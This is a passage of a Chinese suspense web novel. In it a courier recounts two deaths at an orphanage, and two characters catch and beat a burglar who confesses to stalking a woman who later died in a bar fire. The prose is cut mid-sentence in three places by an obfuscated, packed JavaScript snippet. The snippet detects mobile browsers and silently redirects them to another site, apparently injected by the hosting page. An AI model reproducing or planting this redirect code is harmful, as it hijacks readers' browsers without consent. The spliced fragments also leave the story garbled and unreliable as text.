没人回应。 身旁的人用胳膊猛一杵林杰:“余杭叫你呢。” “余哥?怎么了?”林杰仿佛才回过神,他摘下快递员的帽子搁在饭桌上,用手随意揉了揉头顶。 烈日晒了一天,空气又闷又热,三人没坐饭馆里面,选择坐在外面的帐篷底下。紧靠街边,车声混人声,热闹得很。 “我刚说,这送快递的活就是纯卖体力,挺苦的。”男人夹了筷子炒肉,嘴里含糊不清地抱怨着。 林杰摇摇头,敛眸:“挣钱哪有容易的。” “苦中作乐嘛。”另外一个男人随意搭住林杰的肩膀,笑着看向对面的同事,宽慰道,“吃,吃,难得出来下馆子,咱不提其它的啊。” “哎,怪我怪我,大家吃哈。服务员,这桌再来三瓶啤酒!” 林杰握着筷子,眼神呆滞,没动。 旁边的男人摇晃他两下,觉得奇怪:“兄弟,你今儿是怎么了,往常你是最能耍宝的,怎么这一顿饭都快吃完了也没说两句话,心里有事啊,跟兄弟们说说?” 林杰转过头看他,不知道刚在想什么,脸色有些苍白,他张了张干裂的嘴唇,还没出声,裤兜里的电话响了。他接起来,讲了两句,居然站起身来。 “咋啦?” “出什么事了?”同事们赶忙问。 “好像有两个快递送混了,我去处理一下。”林杰重新拿起帽子带上,往电瓶车的方向走。 “哎呀,你也不注意点。快去快回啊!” 林杰摸出钥匙按一下,电瓶车解锁“滴”一声:“今天晚上应该是赶不回来了,这饭我就不吃了,余哥你到时候把A的钱算出来发我,我转你。” “哎,这哪里的话,算了算了,你赶紧去吧,别让人等着急了到时候投诉你。” “那谢了,余哥。” 林杰骑着电动车先去了遇来小区,取到快递一看,上面地址写的是京大家属楼,果然是他送混了。他跟人道了声歉,赶紧往家属楼赶。 29栋楼底下,林杰停好车,下意识看了眼对面楼栋门口那颗梧桐树,黑漆嘛漆的,底下哪还有人。 林杰收回眼,拿着快递往楼上跑,心里发慌。他一路没停。 跑到5楼,敲门,所幸是有人在家,是上午签收的那个男人。 三言两语解释清楚事情,容季没多说什么,也没为难他,弯腰举起门边的快递递给他。 林杰感激地道声谢,沿着长廊走了两步,又看了眼楼底下。 心里始终觉得不安。他还是回过头:“今天上午你是在看梧桐树底下的那个男的和那个女生吧?” 门刚合上了一半又被打开,露出容季疑惑的脸:“什么?” 林杰咬咬牙,纠结再三,干脆豁出去了,一股脑说了一大串:“那个女生叫林寻,男的叫林逐行,我小时候跟他们在同一所孤儿院长大……” 他痛苦地闭了闭眼,仿佛想起了什么极其恐怖的事,脸色变得惨白。 他哑着嗓子,低声提醒:“离他们远点。” 容季打量了他两秒,几乎没有迟疑就把门彻底敞开:“进来说。” 屋内。 快递被放在脚边的木地板上。林杰坐在沙发上,神色怔然。 容季给他倒了杯温水,又从餐厅拖了把椅子过来,坐在他正对面。容季看了会儿他,询问:“你知道什么?” “那两个人……”林杰双手握着水杯,却没喝。他呆呆盯着水荡起的波纹,终于从喉咙里艰难地挤出来几个字,“不正常。” 容季心里一动。他下意识挑眉,等对面接下来的话。 “那年我十五岁……” 林杰痛苦地阖了阖眼,思绪飘向过去。他彻底陷入回忆。 林西南被林家领养的一周后。 不知道是为什么,当时孤儿院广为流传一个八卦。 据说啊,当初林家其实真正想领养的人是林寻,是林西南用了些手段,才取代林寻,成功被带走。 整个孤儿院谁不知道林寻之前和林西南亲如姐妹。 这传言无凭无据,尚不清楚真假,也不知道是谁率先带头传起来的,但是大家吃完饭,上完课后,都很乐意三三两两聚在一起讨论。 毕竟啊,生活还是太难熬了。 只有别人的痛苦才能彰显出自己的幸福。 一群孩子里,林阳属于是对林寻的遭遇最喜闻乐见的了。他甚至不满足于在背后偷着讨论,非要舞到正主面前。 林杰记得,他好几次吃完饭从食堂回宿舍,路上都能看到林阳把林寻拦住。 开始只是嘲讽,后来渐渐上了手。情绪上头了,推两下,搡三下,对林阳来说如同吃饭喝水一样简单。而林寻的反应很怪,自从林西南走后,她不再像以前一样会还手,只是每次都死死盯着林阳,那眼神,林杰回想着,就像是在看一件死物…… 听到这,容季下意识皱了下眉:“老师不管吗?” 林杰苦笑两声:“他们倒是想管,也得管得住啊。林阳针对林寻也不是一两天的事了,老师开始还老惩罚他,可是林阳性格很倔,老师罚得越狠,他下次都要变本加厉还到林寻身上,老师们也无可奈何。只要不闹出人命,就当没看见算了。” 林杰举起杯子喝了一小口水,仿佛回忆起了他这辈子见到的最可怕的场景,瞳孔开始剧烈颤动。 “我记得,那是一个暴雨天……” 那日天黑得很早,吃完饭,林杰本来想招呼林海一起回宿舍睡觉,林海却杵了他一下,用眼神示意他看外面。 林杰看过去。 走廊和食堂中间有一扇玻璃窗,透明的。 他看到林阳吊儿郎当插着兜,昂着头拦住林寻的去路,两人说了些什么,接下来,林阳伸手强行把林寻拖拽走了。 林杰收回眼,奇怪:“这事每天都至少得发生一次吧,有什么新鲜的?” 林海悄咪咪凑到林杰耳边,低声告诉他:“上午林阳和我说,他今天晚上打算干票大的……” 林杰震惊地张开嘴,半晌,才结结巴巴道:“这,这,他这是犯罪吧?” 林海眼睛望着玻璃,那里早没人了。他拿胳膊杵林杰,斜着眼笑容猥琐:“怎么样,要不要去观摩观摩,我长这么大还没看过真人版呢。” 林杰把头摇得像拨浪鼓,他胆子小,不敢。 “怂货!”林海翻了个白眼,丢下他径直从门口离开了。 那天半夜,林杰躺在床上十分不安稳,翻来覆去,怎么都无法入睡。 天空电闪雷击,雷声轰隆。 大雨倾盆,从没关严的窗户飘进来,淋了林杰一脸。他无奈坐起来去关窗户,视线一瞥,突然看到远处的天台上有人影闪过。 “……” 雨滴顺着玻璃窗滑落,留下抹不去的长痕。林杰纠结再三,也许是仅剩的良心作祟,也许是其它什么原因。他终究披了件外套,悄悄往天台的方向走。 上到台阶最上面,门半掩着,没关严实,他小心探着脑袋往里看。 先看到的是林海。他弓着身子躲在空调外机后面,和他一样探头探脑的,后脑勺朝他。林海没发现他也来了。 林杰扫了他一眼就收回,伸长脖子想努力看清最里面的场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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喃喃自语:“我没想到,你能进步这么快。” 额头的汗顺着林杰脸颊往下流,流到眼睛里,连眨眼都忘记,恍惚中,看到不远处林海的反应跟他差不多。 他瘫在空调后面,不小心碰到外机壳。 “咚”一声。 没有闪电,没有雷声,在这寂静黑夜,无比清晰。 “谁在哪!” 在林逐行回头的前一秒,林杰飞也似跌跌撞撞奔下楼,什么林阳,什么林海,他通通顾不上。 强烈的求生欲激发肾上腺素,他只用了几秒就冲到楼下。 心脏在身体里乱蹦乱跳,几乎要破体而出,林杰舔了舔干裂的嘴唇,扭头,不远处的保安亭里还亮着昏黄的灯光,应该是值班的大爷在里面打盹。 林杰尽量平复心跳,抬脚往宿舍的方向走。 他不断给自己催眠。 今天晚上他没去过天台,明天林阳或者林海要是问起来,他就说他一直在睡觉,什么都没看到,什么都不知道。 到宿舍门口,林杰吸了口气,终于有安全感。他蹑手蹑脚推开门,迈过木门槛的一霎那…… 砰! 林杰怔然回过头。 不远处,林阳四肢扭曲地躺在冰冷的水泥地上,眼睛睁着,死死瞪着上空,仿佛生前受到了极大的刺激。 大雨倾盆而下,很快冲刷掉血迹,一干二净。 林阳死了。 12. 第12章 “你的意思是,林寻和林逐行把他推下来的?” 容季皱着眉头,问坐在沙发上的人。 林杰轻轻摇了摇头,低声说:“我不知道。在林阳掉下去之前我就下楼了,天台上后面具体发生了什么事,我都没看到。” “那另外一个孩子呢?” 林杰抬起头,眼神呆滞又恍惚。明明是看着容季的方向,眼眸里却没有他的身影。他回忆着:“第二天清晨,保安大爷准备回房间睡觉,他在路上发现了林阳。第一时间通知了院长和老师,他们叫了救护车,也报了警。120来了之后说林阳是当场死亡。再后来,警.察们去天台勘察现场,在那里,他们发现了林海……” 林杰怔然地看着虚空:“他死了。绳子系在平台右侧的栏杆上,他吊在上面,悬空挂了一整晚。” 林杰重新低下头,水杯被他无意识捏变形,里面的温水洒了些出来,打湿了他的手:“那个年代,监控不像现在这么普及,更何况谁能想到孤儿院居然会发生命案。警.察调查了一段时间,最后认定是林阳和林海在天台上玩闹时,林海错手把林阳推了下去,他太害怕了,然后当场畏罪自杀了。” 容季看着他,表情若有所思的。 林杰还在继续说。他无意识地抠弄着杯沿:“警.察在孤儿院调查的那几天,我每天都在做噩梦,晚上躺在床上,只要一闭眼,不是梦到林阳惨烈的死状,就是梦到林海最后惊恐地蜷缩在空调后面的样子。我一连失眠了五天,实在是撑不住了,好不容易熬到警.察都走了,我就想着去医务室问老师要点助眠的药吃。然后……” 他抬眼看向容季,咧着嘴,笑得比哭还难看:“你知道什么叫做精神病态者吗?” 容季:“什么?” “当时院长也在医务室里。那个老师跟她说,这件事会不会跟林逐行有关,她们说那个孩子的爸爸有遗传性精神病,他当街杀死了他老婆,被警.察当场击毙。林逐行被送进孤儿院的时候,别人就提醒过她们说林逐行很大概率也遗传了他爸爸的劣质基因。” “……” 容季沉默了许久,半晌,他像是才反应过来,轻声问:“林寻跟他一样有这个病吗?” 林杰摇摇头,他简短跟容季描述了一遍林寻是怎么去到孤儿院的。 “后来过了两周左右,我猜可能是因为接连出了两条人命,孤儿院很快就关闭了,里面的孩子有一部分被附近的村民领养了,其余的被政府转移到了别的福利院。我挺幸运的,属于第一类。” 该讲的都讲完了,他放下水杯,抱起地上的快递,朝门口走。容季目送他的背影,拧着眉在思考。 林杰打开门,他犹豫地抿了下唇,临走时扭头又提醒了他一遍:“我不知道你为什么在观察他们,但是无论是什么原因,我都劝你尽快放弃。跟他们扯上关系,后果不是一般人能承担起的。” 容季看向他,只笑了笑。他没正面回应:“谢谢。” 林杰摆摆手,关上门,走了。 在林杰走后,容季大约又在凳子上坐了1小时。直到天彻底黑透,他才站起身,走到房间的白板面前,刚要把林寻和林逐行的名字一并写上去,刘海突然给他打了个电话。 容季顿住,走到客厅去接起来。 刘海的大嗓门透过手机传过来:“喂,小容啊,你这会儿在家吧?” 容季:“在家。您还没回来吗?” “这才几点啊,我今天要跟他们搓个通宵哈哈哈哈。”刘海敛了敛笑意,话到嘴边他还卖了个关子,“我跟你说啊小容,你今天晚上就好好搁家里待着,刘叔偷偷告诉你啊,等会儿有好事要发生咧。” “什么好事?” “哎这你就别问了,听刘叔的没错啊,好了不跟你说了,我这边还忙着,就先挂了啊。”说完不到一秒,刘海干脆利落挂断电话。 容季在原地停顿了两秒,还是决定先回房间把正事做完。刚把手机放进口袋,门铃突然响了。他过去看了眼猫眼,看清楚人后,下意识挑了下眉。 他拉开门,门外站着林寻。 林寻背着第一次在桥上遇见他时背着的斜挎包,身上隐隐约约还能闻到酒味,容季扫了眼墙上的挂钟,她应该是一下班就立刻过来了。 林寻看着容季,他比她高一个头,得仰着头。她直视容季的眼睛,眼珠漆黑,两秒后,吐出两个字:“谈谈?” 屋内。 林寻坐在1小时前林杰坐的位置上,容季本来想给她倒杯水,被她拒绝了,她想速战速决。 林寻看向容季,直接开门见山道:“昨天我们在小巷,你最后说的那两个字是什么意思?” 容季想起来了:“字面意思。” “你为什么这么说?” “什么?” “火灾发生当天你并不在现场对吧,那你为什么说容叶的死是人为,这不符合逻辑。” 容季盯着她,似乎想判断她说的是真是假,半晌,他从口袋里掏出手机,点了几下,反转过来给林寻看,林寻凑近了些,是聊天记录。 “那天,容叶给我发过信息。”容季说。 林寻身子向前倾,她眯着眼一字一句顺着屏幕往下看,日期确实是酒吧着火那天,时间是下午2点,火灾发生前的两小时,当时她还没到酒吧,但是容叶应该已经到了,聊天界面显示她给容季打了许多微信电话,容季没接,最后没办法,她拍了张酒吧里面的图片,还有一条语音。 容季知道她看完了,把手机反过来,点开。屋内瞬间响起容叶惊慌失措的声音: “哥,后面有人在追我!我在“肆意”酒吧,你快来救我!” 除了她的声音,林寻从这条语音里,还能隐约听到桌椅板凳和酒瓶摔在地上的响声。 “……” 林寻重新坐正身子。她脸色有些苍白,手下意识捏紧了斜挎包的带子。 她缓慢平稳地讲述。 火灾发生那天是一个寻常的周六。 那天林寻本来是晚班,但是容叶一周前拜托她跟自己换成了早班。 林寻到酒吧时,酒吧里空无一人。她往里走了许多,才看到容叶一个人孤零零站在一堆玻璃碎片中间。 林寻吓了一跳,她第一反应来不及问本来说有事的容叶为什么会出现在这里。她皱着眉提醒容叶:“你先别动,地上都是玻璃碎片,我去拿扫把。” 容叶很听话,果然一动不动站在原地。她捏着手机,如果是在光线充足的地方,林寻也许能发现她脸色极其惨白,可惜酒吧太暗了。 林寻刚找到扫把,还没来得及走到容叶身边,头顶突然一阵“滋滋”的声音。她下意识抬起头,火花从电线里窜出来,沿着窗帘往下烧,接触到地面上尚未清理的酒水,酒吧里顷刻间变成一片火海。 烟雾弥漫,能见度太低。林寻看不见容叶在哪,她迅速拿袖子捂住口鼻,朝容叶刚才站的方向吼:“容叶,大门在我这边,快过来!” 她正前方传出一道声音,伴随着两声咳嗽:“林寻,咳咳,你先出去,我从后门,咳咳,出去。火太大了,我过不去。” “肆意”酒吧分前后门,容叶站的地方的确离后门更近。林寻回了个“好”。 她转过身,弯着腰避开着火的地方,朝来的门口走,不知道走了多久,头顶突然一阵响动。心里突然一阵不好的预感,林寻没来得及躲闪,头顶的吊顶砸在她身旁的桌面上,酒瓶瞬间碎裂,燃烧的火团窜到林寻身上,腰上瞬间传来刺痛。 “唔!”林寻咬着牙想忍着疼继续往前走,但是灼烧感和长时间处在浓烟的环境中,林寻终究体力不支,昏倒在酒吧里。 再醒来是在医院的病床上,林寻睁开眼,尚残留两分迷茫,林逐行坐在她旁边正背对着她削苹果。林寻看着他,想起身,不小心牵扯到腰上的烧伤。 “嘶。” 林逐行听到动静,转过身,眼睛里有惊喜与担忧:“阿寻,你终于醒了。” 他把削了一半皮的苹果放在床头柜上,伸手帮助林寻坐起来,又贴心地垫了两个枕头在她身后,才轻声问她:“伤口是不是很疼,医生刚才来帮你换过药,说你这伤未来大概率会留疤……” 林寻皱着眉打断他的话,着急问:“容叶怎么样了?” 发现林逐行眼神透出疑惑,她意识到他并不认识容叶,解释:“就是当时跟我一起在酒吧里的那个女孩,她逃出来了吗?” “阿寻,你先别激动。你听我说。”林逐行沉默地看着她,张了张嘴,又闭上,像是在组织措辞。 林寻心里一沉:“她是不是还没醒过来?” 林逐行沉默地看了她半晌,许久,像是不忍心再瞒她,艰难地开口:“消防员到现场的时候,酒吧里的火太大了,他们只来得及救出你,至于另外一个女孩……” 他突然停顿,林寻意识到什么,嘴唇逐渐失去颜色。 “她吸入了大量浓烟,晕倒在地上,然后,火蔓延过去。等火被扑灭,她被抬出来的时候,已经面目全非了。” 林寻呆滞地看着他,像是听不懂他的话,又像是没反应过来。 林逐行看着她,眼神里闪过心疼,他覆住她的手,唤她:“阿寻……” “容叶死了?”林寻突兀开口。 “阿寻,你伤口还没恢复,不要激动。”林逐行说。 “容叶死了。” 像是没听见他的话,林寻轻声重复了一遍。 她沉默地瞪着空气。 良久,她躺下来,闭上眼,眼睛干涩,流不出泪。她小声说:“我想一个人待一会儿。” 林逐行出去了。 林寻把头蒙在被子里,整个人蜷缩成虾米状。她闭上眼,眼前闪过一幅幅画面,有温柔笑着的容叶,替她出头的容叶,祝她生日快乐的容叶…… 最后的最后,脑海里的画面定格在那天傍晚。 夕阳西下,容叶背对着天边的火红晚霞,发丝随风轻轻摇晃,美得像一副画卷。 她温柔地注视着她,含着笑。 “林寻,你是个好人。” 林寻猛地睁开眼。黑暗中,她的身子不受控制地颤抖着,呜咽着,哭泣着,从喉咙深处不断溢出悲鸣,像是被天使抛弃的船只,在海浪中再度迷失了方向。 …… “后面的事情,你都知道了。”林寻轻声说。 容季沉默不语,仿佛又陷入那段回忆。他甩了甩头,现在不是走神的时候。 他看向林寻,问:“你有什么想法。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15282795|166910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 林寻思索片刻,突然想到什么。她提醒容季:“我记得容叶生前有写日记的习惯,她有时候会把日记本带到酒吧里来,我见过两三次,如果容叶生前真的被人跟踪过,火灾那天一定不是那个人第一次跟踪她,如果能找到她的日记本,也许里面有线索。” 闻言,容季站起身,他走到卧室,打开抽屉拿出钥匙,又走到林寻面前,站定,问她:“日记本你还记得是什么样的吗?” “粉色的,上面有个蕾丝蝴蝶结。” “行。”容季点头,往门口走,林寻跟在他身后。 两人一前一后穿过长廊。 下到四楼,林寻看着他的背影,犹豫再三,还是叫住他:“要不,我跟你一起去吧。” 容季回头看她,挑了下眉,准备说些什么,突然被一道声音打断。 刘海大吼一声,三层楼的声控灯齐刷刷亮了一竖条。他满意地顶着光亮踏上台阶,一抬头,看到容季站在最上面一节,他惊呼:“小容?你在这站着干什么,我不是让你在你家待着吗。” 刚说完,突然瞥见跟在他身后的林寻,刘海眼珠一转,顿时笑起来。他绕过容季往上面走:“噢噢,那没事了,刘叔不打扰你们了啊,刘叔回家,回家。” 林寻:“……” 想起当时情急之下找的借口,现在两个当事人都在场,她耳朵不自觉红了,侧了侧身,给刘海让位置。 容季叫住刘海,礼貌问了一句:“刘叔,您今天不是要打通宵吗?” “啊,你说那个啊,刘叔把那三个老家伙的钱都赢光了,他们赖皮不跟刘叔玩了。”刘海气得哼哼两声。 路过林寻,他悄咪咪低头,小声打探道:“告白怎么样,那小子答应没?” 林寻:“……” 她不知道该说“答应”还是“不答应”,两个回答都怕刘海刨根问底,只能囫囵点了点头,注意到容季已经下楼了,她匆匆跟刘海道别,也往楼下跑,不一会儿就消失在刘海的视线里。 刘海背着手站在原地。两秒后,才继续上楼,心里不禁感慨着:想当年他还是毛头小子,和刘云他妈热恋那会儿,也是这样毛毛躁躁的~ 容叶住的房子就是容季搬进家属楼之前那间,离京大大约只有1公里,不算远。 容季没开车,打算直接走过去。 黑夜,乌云散去,露出天空上的月亮和星辰。皎洁的月光照在地面,似乎想净化掉世间一切罪恶。 林寻走在马路靠里,她还在想刘海刚才的话,也不知道这么回答他会不会误会些什么。突然听到旁边那人叫她:“林寻。” 她没抬眼,下意识:“嗯?” 容季走在她左边,手插在兜里,扫了眼她,状似不经意间说:“如果真的有人跟踪容叶,贸然插手进来似乎不太安全。你为什么要跟我一起去拿日记?” 林寻眼神一滞,她脚步没停,尽量平静地回答道:“容叶帮了我许多,而且……” 而且她很像林西南——刚来到孤儿院的林西南。 “什么?” 林寻摇摇头:“如果真的是有人杀死她,我想去调查清楚。” 好在容季没再追问。 转过弯,小区门若隐若现,容季目视前方,突然提起另外一件事:“刘叔打电话跟我说,说有人要来找我……” 林寻瞳孔轻轻一颤,心说他不会听到刘海在楼底上跟她说的话了吧? 果然,下一秒,容季停下脚步,他垂眸看向林寻,语气疑惑:“说起来,你是怎么知道我的门牌号码的?” “我说找你有事,刘叔就告诉我了。”林寻看向他,不露声色。她一万个不愿意让这人知道她跟刘叔说喜欢他。 “有事?”容季打量着她,语气半信半疑。 “有事。”林寻坚定地点头。 容季看了她一会儿,才继续往前面走。林寻刚松口气,突然听到空中飘来一句:“我还以为你是要跟我告白呢。” 林寻:“……” 他果然听见了。 接下来,从进小区开始,一直到楼栋底下,两个人谁也没再开口。 林寻不知道容季是什么原因,反正她是尴尬的。 房子在三楼。 楼道很窄,恰巧的是声控灯也坏了,漆黑一片,伸手不见五指。容季走在前面带路,林寻在他后面。 无声无息。 突然,容季顿住脚步。 林寻没反应过来,直愣愣撞在他后背上。她捂着额头,下意识皱眉。抬起头,就要质问:“你干……” 容季扭头给她比了个手势。 嘘。 他侧着身子,给林寻让开些身位,手指指了下上面,示意她上去。 林寻疑惑地看了他一眼,她越过他,走到容季上面一节台阶。 蓦地,她也顿住脚步。 风从楼道的窗口灌进来,打在林寻后背上,她才意识到自己短短几秒出了一身冷汗。 视线聚焦在301门口。 防盗门虚掩着,与墙壁之间尚且间隔了一道窄窄的缝隙。隐隐有手电筒的光晃过。 林寻扭过头,与容季在黑暗的楼道里无声对视。她与他瞬间达成共识。 屋里有人! 13. 第13章 301里面漆黑一片。 李华山用嘴叼着手电筒,翻箱倒柜。 怕引起别人注意,他不敢开灯,只能采用这种对小偷来说不是那么方便,但十分安全的方式。 汗珠顺着黑黢的脸庞滚落,最开始他还尽量不留下入室的痕迹,想着不去移动物品的陈设,可是一直没找到他想找的那个东西,心里升起烦躁,手里的动作也开始失去耐心,没轻没重。 这个不是,那本也不是。 容叶房间的书架里的书被他随手扔了一地,乱七八糟。 他忍不住骂脏话。 他妈的!那个该死的本子到底在哪里! 李华山往地上吐了口唾沫。他记得,那张照片里,容叶正趴在桌上写东西,那个本子的样子是……操!死活想不起来。 李华山狠狠把书架上最后一本书砸在地上。 操!早知道把那张照片留着晚点再烧了。 他烦躁地抓揉着自己脏兮兮的短发,忽的,右耳轻微动了下,似乎听见了防盗门开合的吱呀声。 “……” 眼里的狠辣一闪而过,李华山无声把手电筒从嘴里拿下,关掉。房间内瞬间陷入黑暗。 身后的脚步声由远及近,伴随着木板轻微的响动声。李华山能感觉到,有一个人在朝他所在的房间靠近。 闪身躲藏到房间的门后面,李华山从怀里摸出一把刀,他咬紧后槽牙,估摸着距离,一秒,两秒,三秒……差不多了! 他猛地窜出来,手里的刀顺势落下……可是防狼喷雾的速度比他更快。 “操!”从眼睛传来一阵火辣感,他下意识抬手揉眼睛,短暂失明导致方向感丧失,他跌跌撞撞,东歪西倒,在空中胡乱挥舞着刀。可是仍旧没防住身后那个人。 在被劈晕之前,他隐约听到有一男一女在对话。 “我记得防狼喷雾那晚不是被你扔了?” “下单的时候买一赠一。” “……” 在听见男人回答之前,李华山两眼一翻,彻底陷入昏迷。 李华山是被不适感强行叫醒的。他一睁开眼,先是被头顶的白炽灯刺得眯眼,下一秒,他下意识就想发起攻击,但是很快就发现自己被绑在椅子上,手背在椅子后面,毫无动弹的可能性。好在嘴没被堵住,李华山恼火地连连怒骂脏话。 在他面前,容季皱着眉打量他。 他手插在兜里,朝右边偏了下头:“解释一下?” 李华山下意识看过去。那是他刚翻找过的房间,里面此时一片狼藉。 看清容季的面容,眼里闪过惧怕与心虚。他讪笑两声,嗓音如公鸭,谎话连篇:“小兄弟,我就是看这房子里没人,想来捡点小便宜,但是我发誓啊,我什么都没来得及拿,你就来了,小兄弟,你看能不能放过我这一回啊……” “我还没听过谁入室盗窃不拿财物,只翻书柜的。”林寻从容叶房里走出来。 她走到李华山面前,死死盯住李华山,旧恨添新仇,她毫不留情戳破李华山的谎言。 举起手里的粉丝日记本,轻轻在他眼前晃了晃:“你在找这个吧。” “原因是什么。” “你居然也在这?!”李华山一看见她就想起举报那回事,他恼怒地想举起胳膊,但随后意识到手还被绑着。听到她的话,他冷冷“哼”了一声,仰着头阖上眼,明摆着不配合。 见状,林寻干脆利落:“报警吧。” 容季:“嗯。”说着就解锁了手机。 “等等,等等!”李华山没想到这两人一点不带犹豫的,把报警说得跟喝水一样自然。他着急忙慌试图说点什么拦住两人,大叫。 “三年前,有人雇我去偷拍你妹妹!” 林寻看向他。容季放下手机。 李华山松了口气,他不敢再隐瞒,倒豆子似的:“那天巷子里,我在拐弯处没走,听见你在调查那个女的……你妹妹的死因。三年前,有个人雇我去偷拍她,我保证,真的只是偷拍啊,后来看照片的时候发现你妹妹一直有记日记的习惯,我就是怕她把我偷拍她那事写进日记里,才想着来找找。” 林寻目光沉沉,十分敏锐:“那个人是谁,你们怎么联系的?” 李华山摇头:“一个男的。每周日晚上九点,他会让我把照片放在一个红色电话亭里。” 李华山紧张地咽了口唾沫:“他的电话我前两天试着打过,是空号。” “那照片呢?”容季问。 李华山心虚地低下头看地板:“我怕被当成证据,全烧了。” “……” 容季看向林寻:“要不还是报警吧。” 林寻跟他对视,赞同点头。 “我这有储存卡!”见状,李华山着急忙慌补充。 见两人同时看向他,他咧起嘴,牙齿间还夹着菜叶。 居然还敢提条件:“我可以给你们,但是你们不准报警,还得放我回家!” 李华山觉得自己又重新掌握了主动权,表情又横起来,甚至放松到想抖个腿。 他闲散往后一靠,两只椅脚瞬间悬空,又落地,“哒”,“哒”,一下接一下。他眼含挑衅。 “不过你们要是报警的话,我保证,你们这辈子都拿不……” 李华山话没说完,就看见林寻眼睛四处看了一圈,最后去厨房架子上拿了双洗碗的手套。 他心里突然升起不好的预感,警惕:“你想干嘛?” 林寻分了一只给容季。 她把手套戴在右手,看着李华山,牵起唇角,皮笑肉不笑。她走到李华山正前面,全身的力气聚集到右手,一巴掌把他的脸扇偏到一侧,然后,是第二三四下…… 直到手掌心传来一阵麻痹感,她才意兴阑珊收回手,漫不经心偏过头,招呼容季:“该你了。” 容季也不客气,“啪啪啪啪”又是四下。李华山的两边脸瞬间肿涨成猪头状。 他嗫嚅着嘴唇,含混不清发出一个音:“操……” 还敢骂人。林寻又上前给了他两下。直到李华山彻底瘫坐在椅子上,她才取下手套,眼眸在灯光的映照下格外漆黑。 她冷着声音:“2021年12月29号下午2点,你在哪里?” 李华山眼里闪过一丝心虚。那个日期他其实印象深刻,但他一个字都不敢说。余光中,林寻又高高举起手,容季阻止她,顺手去厨房拿了把菜刀递给她,锋利的刀刃在白炽灯下闪着冷光:“用这个。” 林寻反手接过握住。 李华山:“……” 这两个法外狂徒! 眼见他们一副不把他弄死在这里不罢休的架势。 李华山灰头土脸,肩膀轰然塌下来。他这种人一贯欺软怕硬。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15299019|166910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他哑着嗓子,交代:“一开始我的确按照那人的安排,每天偷拍你妹妹,两周后,不止是那人,我差不多也摸清楚了她每天的轨迹,上学,打工,两点一线。” 恍惚间,他陷入回忆,居然下意识抱怨道:“偷拍真是老子这辈子做过最怂的事。活生生一个美女天天搁你面前晃悠,还只能看不能吃的……” 林寻意识到了一些事,容季同样。脸色逐渐苍白。 丝毫没有注意到自己说了什么,李华山粗声粗气,继续:“那个周六,我终于等到了机会。那个女的不知道怎么回事,出门就一副丢了魂的样子,我举着相机跟在她后面。我拍了许多她的照片,然后,她居然拐进了一条小巷,里面只有我们两个,我不自觉跑起来,那条小巷……” 李华山闭上眼睛。 恍惚间,他又闻到石板缝隙间青苔的腥气。 时间回到2021年12月29号的下午。 巷子窄小又偏僻,尽头通向“肆意”酒吧。但是大多数人都不会走。 容叶往常去打工宁愿绕远也会选择走大路,她今天可能是走累了?也可能是忘记了?李华山边跑边猜想。他猥琐笑着,他为什么要纠结原因呢?这是上天赐给他的良机。 很快就跑到容叶身后,他悄然伸出手,就要去抓容叶的肩膀。忽的,容叶握着手机回过头,两人同时一愣。 容叶先反应过来,她看到了他胸前的相机和他的脸。脸色逐渐惨白,她扭头就朝前跑,边跑边喊“救命”,无人应答。 李华山追在她后面,好几次差点摸到她衣角。他一路喊:“美女,你别跑啊,我就是想跟你聊聊天嘛!”这话一出口,他自己都乐了。 耳边风声呼啸而过。头上的帽子被高高卷飞,然后轻飘飘落在地上。 他步步紧逼,她不敢回头。 容叶狂奔到酒吧里,回过头,李华山在距离她三米远的地方,他站在门口,朝酒吧里张望,有些犹豫。趁着这个时间,容叶给容季打了一堆电话,可能是手机静音了,容季没回,无奈,她只能发了一条微信,发第二条的时候,一抬头,发现李华山居然跟了进来! 酒吧黑漆一片,没有晚上的喧嚣与躁动,气氛死寂,如同容叶的内心。她慌张把身前的桌子椅子全聚拢在面前,桌上的酒瓶晃动两下,“噼里啪啦”碎了一地都是,好在这种程度动静成功阻拦了李华山的脚步。 暂时的。 李华山记得,他当时只迟疑了一瞬。在发现并没有人过来看时他胆子又大起来,他咧嘴笑着想伸手去把容叶从桌子后面拖过来,无意间偏了下头,余光居然瞥见有个女生正往酒吧走过来…… “然后我就赶紧走了。”李华山从回忆中抽离,看向沉默不语的两人,他想摆出一个诚挚的表情,但是用他肿成猪头的脸实在是有些困难,“我发誓,我一点都没想要杀她。就是单纯想跟她搭个讪,真的!” 容季垂下眸,目光落在林寻手里的菜刀上。 “是那个男的!”李华山灵光一闪,着急忙慌开口,“雇我偷拍她那个,是他杀死她的!” 见两人依旧死死盯着他看。林寻握着菜刀的手轻微颤了颤。李华山没错过这幕,他无力地重申,嗓音在这种时候干涩难听到了极致,像是被砂纸狠力摩擦过。 “不是我啊!”他声嘶力竭着。 “真的是L杀死她的啊!” 14. 第14章 风吹动没关好的防盗门,它摇晃两下,像是试图做最后的抵抗,最后,还是“砰”一声,彻底合上了。 